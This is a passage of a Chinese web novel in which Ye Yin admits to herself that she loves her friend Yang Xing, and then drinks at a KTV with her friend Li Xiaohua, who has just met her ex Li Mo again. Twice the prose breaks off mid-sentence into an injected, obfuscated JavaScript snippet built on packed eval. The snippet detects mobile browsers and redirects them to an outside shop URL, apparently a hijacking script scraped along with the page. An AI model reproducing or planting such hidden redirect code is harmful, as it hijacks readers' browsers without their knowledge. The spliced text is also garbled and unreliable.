“真的吗?我不信。”女生轻快地说,“他们说男女之间有纯友谊,但我觉得,你性取向没问题、激素水平也没问题,就算喜欢上自己的朋友也很正常。” “如果他足够好,正好你这里空着,”女生前倾身体,点了点叶吟胸口,“喜欢了,又有何不可?” “我没有喜欢他。” “啧,”女生坐回去,一副经验丰富的样子,“你会不会对他有占有欲?会不会因为其他女生吃醋?” 叶吟略微迟疑。 “会不会想跟他贴贴,想跟他接吻?”女生越说越兴奋,“会不会想把他扑倒,跟他溺死在玉海……” 什么乱七八糟的? 叶吟不受控制地想起李校花曾经的话。 ——他是世界上最好的人只有他才能配得上老娘我要跟他锁死一辈子我们会为彼此成为更好的人。 “喜欢,不应该是跟烟花一样炸开的感觉吗?”叶吟问,“好像不爱就要去死一样,非此即彼,不对即错。电影里不都是这样的吗?” 她觉得,自己对杨星并没有那种恨不得殉情的瞬间,只有深刻的习惯、用日日夜夜磨出的习惯。 “错,”女生摇头,“那只是一部分人的一部分时候。” “天天爱火焚身,就算是水做的也会被烧干。爱情很好,但人生的主线依然是你自己的成长,越走越远,越来越透彻,然后抓住那些真正珍贵的东西。” “比如?”叶吟忍不住被她带着走。 “比如陪伴。”她俏皮地歪了歪头,“你听过那首歌吗?《陪伴是最长情的告白》。” “我看你是月老附身了。”叶吟冷静下来说。 女生不为所动:“那我再给你点一首《稳稳的幸福》。” “……谢谢你,”叶吟闭眼一瞬,郑重地说,“我需要再想想。” …… “所以,你就这么跟她说的?” 李校花烫了个白金色卷发,她搅着杯子里的酒液,一脸“我真服了你了”的表情。 叶吟深深地吐出一口气:“对。” “那现在想清楚了吗?” “没有。” “然后杨星也跟你一块粉饰太平,你们就这么相安无事过了一个月,直到昨天开始放暑假,你们还没见过面?”李校花再次跟她确认。 “……嗯。” 李校花点着杯沿的手一停:“如果我不问,你是不是都不会说自己干了那么危险的事?” “没什么可说的,”叶吟低着头,一手把落下的发丝勾回耳后,“新闻上太夸大其词,我其实只起到一个定位器的作用。” 李校花冷笑一声:“上了微薄热搜前二十,虽然没什么影像只有文字,但我们小透明也真是出息了。” 叶吟看她一眼:“再刺激我,你就自己去见金主。” “还没到时间,”李校花继续玩她的酒,语气有些微妙,“我还是比较好奇你跟杨星。” “稀里糊涂,”叶吟放空自己,“我不知道。” “毕竟当了那么久朋友,要鼓起勇气越线总是很难的,”李校花仿佛驾轻就熟一样说,“风险太大。” “所以李沫很勇敢。”叶吟说。 李校花红唇一动,默了半晌才用玩笑的语气道:“我都要去见金主了,别提他了。” “他觉得你不喜欢他,还敢告诉你,”叶吟终于逮到机会反击,利索地给好友捅刀子,“谁是逃兵,我不说。” “并不是每一份感情都会它的HE结局,叶吟。”李校花明白得很,“我选了一条路,自然就走不了另一条。” “那你还要鼓励我跟杨星说开?”叶吟眼神带着谴责。 “因为觉得你们值得。前两天翻出来那些写给‘叶吟’的情书,总有种恍如隔世的感觉,”李校花慢慢地说,“高中的人事物都单纯,打赢一局游戏就能开心很久,但现在,我已经很久不玩了。” 叶吟冷不丁开口:“如果你想上分的话我可以帮你。” 李校花无语一瞬:“真不好说,你这是钝感还是敏感。” 叶吟轻轻一笑:“杨星今年送我生日礼物还是游戏里的皮肤。别伤春感秋了,游戏而已,不玩就不玩。” “那是他想跟你一起玩,”李校花忍不住说,“你是真看不出来还是假看不出来?” 叶吟:…… “他喜欢你,他喜欢你,他喜欢你!”李校花恨不得扒开叶吟的眼睛让她看清楚,“他是个胆小鬼,你是个瞎子,你们俩天作之合。” 哪知叶吟跟吃了秤砣一样坚定摇头:“他要是喜欢我就不会撮合我跟许航。” 李校花瞪眼。 “我只是看不清我自己,”叶吟低头看了看自己的手指,虚虚拢起,“我不确定我对他到底是什么感觉。” “来,”李校花抓住她的手,“看我。” 叶吟跟她对视。 “你心跳加速吗?” “……没有。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664000|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“如果我跟李沫复合了——你别管,我就是举个例子——你会伤心吗?” “……不会。我只觉得他这个两块五对你真是死心塌地。” 李校花松开手,拿出手机:“今晚的ktv包间我定了酒,让杨星过来,你跟他试试。” 叶吟心头一跳,按住她:“不行。” “为什么不行?”李校花探究地看过来,“哪里不行?” 叶吟有正当理由:“我们二人局跟他有什么关系?” 李校花默然,随后恶狠狠地说:“冥顽不灵!你就是怕,怕万一不是爱情,说开了连朋友都没得做。” 叶吟手指微微一蜷,垂下的眼睫挡住她的心绪。 “是,只有李沫勇敢,”李校花声音一顿,“我算是知道你为什么要提起他了。” “让我再想想吧。”叶吟只说。 李校花看着她这副油盐不进的样子,忽然叹了口气,身体向后靠进沙发里,眼神带着点怜悯和无奈:“行,你慢慢想。但感情这东西,有时候你越想弄清楚,就越弄不清楚。” 她晃了晃酒杯,冰块发出清脆的撞击声:“等你真想清楚那天,说不定他已经不等了,你确定他会一直站在原地吗?” 记忆里陈一衡的声音想起:“等以后老了再想起来,只觉得怪可惜的。” 字字句句像针,也像网,带来一丝丝刺痛,从呼吸的四面八方笼罩下来。 叶吟不笨,她只是不敢。 她当了这么多年透明人,最擅长的事情就是自我安慰和粉饰太平。 叶吟下意识地握紧了杯子。 李校花将她的细微反应尽收眼底,喝了口酒,想:是友情是爱情我自有分辨。 “我去见老板,一个小时,不,三刻钟,如果我没下来就报警,”她看了眼时间,拿着手包起身,“祝我好运。” “祝你好运。”叶吟慢半拍说。 李校花去隔壁写字楼见金主,她就要在这等到他们见面结束。空等时间难熬,叶吟控制不住地顺着刚刚的话题往下想。 她喜欢杨星吗? 如果细水长流的默契也算喜欢,偶尔冒出的酸涩也算喜欢,稍微越界的占有也算喜欢,稳重可靠的依赖感也算喜欢……如果希望他好、希望他健康、希望他珍重、希望他百岁无忧,以上所有的所有,加在一起能算喜欢。 叶吟想,那我勉强能算是喜欢他的。 但,只是如此吗? 那拥抱时疯跑的心跳、肢体接触时发干的喉咙、对视时躲闪的视线……又算什么? ——算起伏的折线。它们是折线上明显但被刻意忽略的高点。 低平的、高昂的、会拉高也会摔落的折线,从始至终卡在名为“喜欢”的阈值以上。 只是有人有意无意地视而不见。 叶吟磨了磨牙,想:好吧,是喜欢。 是越想就越深的喜欢,渗透在生活各个方面里的喜欢,无孔不入但她不愿察觉的喜欢。 怎么会不喜欢呢?他们一起走了好多年。 然而,然而…… 谨小慎微惯了的透明人,开不了口向全世界宣告喜欢。 做了这么多年的好朋友,跨不过那道咫尺天涯的界限。 叶吟对着空空的座位莞尔。 她笑自己多愁善感、踌躇不前。 25. 第 25 章 叶吟续了杯酒,打开跟杨星的聊天框。上一次对话还停留在两天前,他说他妈妈捡了只橘猫,命名为小黄。 叶吟回:“那等假期去你家看小咪。” 杨星发了个[ok]的表情,然后就到此为止。 跟李校花说“没被影响”是不可能的,他们这一个月的聊天频率,比以前低了很多。 叶吟只犹豫了一瞬就关掉了对话框。 能正面自己内心已经很不容易了好吗?打死她也做不出开口表白这种事。 李校花发来消息:“你猜我看到谁了?” 叶吟回:“李沫?” 李校花:“?” 叶吟:“还真是。” 李校花:“等我过会儿收拾你。” 她不再说话,也不知道是不是见到了传说中的金主大人,只是五分钟后,又给叶吟发来了一大串句点。 叶吟不知道她葫芦里卖的什么药,但看这个情况也紧张不起来了,随手回了个表情包。 杨星的消息跟开了天眼一样插空发来,看到这个名字,叶吟手一抖,手机差点掉进酒杯。 “打不打游戏?”他问。 “……打。”叶吟看了眼时间。 杨星:“上号。” 他一楼锁了吕布,叶吟鬼使神差地选出貂蝉。面对着底下那一排皮肤,她做贼心虚地用了套单人的。 加载界面只有吕布自己套着情侣皮,叶吟只当是自己心虚、看什么都有鬼。 第一局很快输了。 “再来一把,一会儿有点事。”叶吟又看了眼时间,若无其事地打字。 “好。” 过了几秒又跳出一条消息:“什么时候来看小黄?” 叶吟:“你回家了?” “嗯。” “明天?” “好。” 如此干瘪的对话,叶吟只觉得手机烫手,眉心不自觉皱紧,心中说不出是什么滋味。 游戏开局,刘邦在局内打字:“你人在哪呢?” 叶吟心说,在酒吧。表面上,火舞吃完一波线就塔下挂机:“跟李小花在一起呢,咋了。” 刘邦:“没。” 叶吟转线抓人,再次跟对面C位一换一,刘邦又一次从天而降的时候,叶吟专注的表情裂开一条缝隙。 熟悉的既视感——己方射手差点死在塔外,而她越了两座塔,拿了人头还苟活了下来。 不知火舞绕了一圈,吃完线回到塔下,踩了血包,再次挂机。 叶吟下定决心,打字:“你是不是有事瞒着我?” 刘邦无声无息地把对抗一塔推完,又传了一个大招过来,两人站在中一塔下面面相觑。 叶吟:得,来蹭兵线的。 她迅速打字:“算了,当我没说。” 那头刘邦本来定在原地没动,多半也是在打字。结果看她发完这条,他动了——不声不响点了个回城,满血回家。 叶吟气笑了。 第二把也输了,她关掉游戏,切回李校花的聊天框。 李校花:“我直接ktv了,8808,两百米你直接过来吧。” 叶吟起身,感觉自己晕了一下。 只喝了两杯小甜水,是她实在不胜酒力,平日里用酒精过敏糊弄社交的结果就是毫无锻炼机会,反观李校花,现在酒量如海。 到了8808,叶吟在门口缓了一下,听着里面女声的鬼哭狼嚎,再次确认了一遍消息。 是这没错。 推门而入,就看李校花把头发扎成马尾,站在k歌台上,一手啤酒一手话筒。 “爱人就错过,爱人就错过,喔喔!” 叶吟:…… “怎么错过了?”她放下包,稍微扶了扶头,“金主长得帅吗?” “呵呵,李老板玩得可开心。”李校花停止唱歌,在摇滚的伴奏里捏着话筒说。她声音带着冷,又有种隐秘的怅然。 “李老板?你们老李家又出一位人物?”叶吟坐到点歌台,开始翻歌。 “李沫,”李校花放下话筒,“就是他。” 叶吟在显示屏上翻页的手指一顿。 李校花:“你说好笑不好笑?” “……” “太**好笑了,怎么能是他呢?”她搓了搓脸,终于露出几分颓废,语气顿挫,“怎么会是他呢?” 叶吟张了张嘴,没说话。 李校花半哭半笑地说:“是谁不好,是他?但我**竟然还觉得,还好是他,我贱不贱啊?” “那他,还记恨你吗?”叶吟问。 “我不知道。他人模狗样的,跟我说《戴若英传》在七月的电影节里拿了提名,”李校花走到桌子旁,开了罐酒递给叶吟,“那不扯淡吗,我能获奖?他肯定动了关系。” 叶吟不吭声地接过易拉罐,她知道李校花这时候不需要她说什么。 李校花一口气炫了个底儿出来,把空罐子往桌面上一磕,倒豆子一样地说:“他想让我怎么样?让我主动找他复合吗?那为什么当时不说清楚?我以为我找金主他就得当小三,结果他有病吗,上赶着要给自己戴绿帽子?” 叶吟跟她碰了下杯:“你还喜欢他?” 李校花握着一罐新开的啤酒,表情在ktv的彩灯下显出几分空茫和受伤。 “……他是我初恋啊。” 轻若蚊蝇的声音之后,是一个重新建立起全面防御的李校花。 “喝!” 叶吟无声跟她碰了下易拉罐,一手掏出手机——她怕俩人喝太多收不了场。 找谁呢? 手指划过聊天框,可能是酒精控制了身体,她给杨星发了个定位。 喜欢就喜欢吧,贪心就贪心吧。 再不心动,是要等心不跳了吗? 是,她害怕被无视,害怕得而复失,人不都是这样的吗? ——恨不得世界上所有能抓住的东西都被抓在手心,贪婪地希望此刻的幸福未来也会存在。 可没有什么是永恒不变的。 她想过,是不是不打破现状,就能维持这一亩三分地的美好。 真的是这样吗? 如果畏畏缩缩地站在原地,等世界的坍塌蔓延到脚下,那时候,又该去哪里呢? 如果能正面“可能会失去你”这件事,是否代表着,我也可以在奔流的夜色里向你伸出手。 我该不该向你索取一个誓言,同时交付我最高的永远。 …… “从前共你促膝把酒, 倾通宵都不够, 我有痛快过你有没有。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668023|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半夜一点,杨星赶过来的时候,就听叶吟在唱这首《最佳损友》。 她唱歌从不走调,天生音感好,可蹩脚的粤语发音和错乱的拍子,无不透露着歌手状态不佳。 杨星推门而入,两个人都没理他。 “问我有没有确实也没有, 一直躲避的借口非甚么大仇, 为何旧知己在最后, 变不到老友。” 李校花的妆花了,眼睛也有些肿。相比之下叶吟更体面一些,但她放声歌唱的模样,其实也看不出多少清醒。 杨星自从医院那一面后就没再见过她,此刻目光贪婪地逡巡过她五官的每一分细节,克制的情绪终于泄出一线。 ……很想她。 有很多话想说,忍着忍着,越忍好像越要疯了。 会想到许航,想他们可以每天见面,而他跟卑劣的偷窥者一样,试图从越来越简短的聊天记录中,还原她的生活,打破字里行间的疏远。 这些日子,他一直站在受够的边缘。 “下一首是什么?”李校花举着话筒大声问。 叶吟眯着眼睛看了眼歌名,感觉眼生,想了半天,想出来里面一句词:“爱就爱了,不怕没来过。” “噢,恨就恨了,我从没想过……”李校花一头栽倒沙发上。 杨星目光扫过桌子上的空易拉罐们,问叶吟:“回家吗?” 叶吟严肃地说:“唱完这首。” 有些人,看起来还醒着,其实已经睡了。 杨星举手表示投降,一边拿手机订酒店准备把李校花送过去。电话铃响,叶吟坐到闭着眼的李校花旁边,把她桌子上的手机翻了个面。 杨星盯着上面“李沫”这个名字,看了眼又坐起来的李校花。 李校花爬起来,接起电话。 “有事?”她语气不耐。 “噢,成了老板就能作威作福了是吧,李老板官威真不小。” “怎么,只能你瞒着我,不能让我藏几句话?” “惊喜只有惊没有喜那就不算惊喜了,你懂不懂啊。” “我怎么可能醉,你来,来,8808,谁不来谁孙子。” 叶吟把最后小半罐啤酒喝掉,感觉人已经走了一半了。 “你……怎么在这啊。”她指着杨星说。 杨星:“我来接你回家。” 叶吟眯着眼睛,看他半天,冒出一句:“你怎么不早点来呢。” “如果你早点来,我也不用纠结了。” “纠结什么?”杨星怕她摔,想把人拉到沙发上坐下,结果叶吟一股牛劲没处使,硬是把他先按到了沙发上。 她压着他的肩膀,盯着他的眼睛,好像准备攻击的猫。 “你有什么事情瞒着我?”她问。 杨星眼神一震,顿时心脏跟被人攥紧一样难受起来。 “你想现在听吗?”他问。 叶吟不想听小瑶酱的事,她想一出是一出,狠狠地摇了摇头,相当记恨地掐了他脖子一把。 杨星“嘶”一声,觉得这个姿势实在任人宰割,于是撑着她站了起来。 新仇旧恨涌上心头,随后半罐啤酒发威,叶吟感觉自己头都是沉甸甸的,嘴巴却飘了起来。 “你罪行累累,你知道吗?”她说。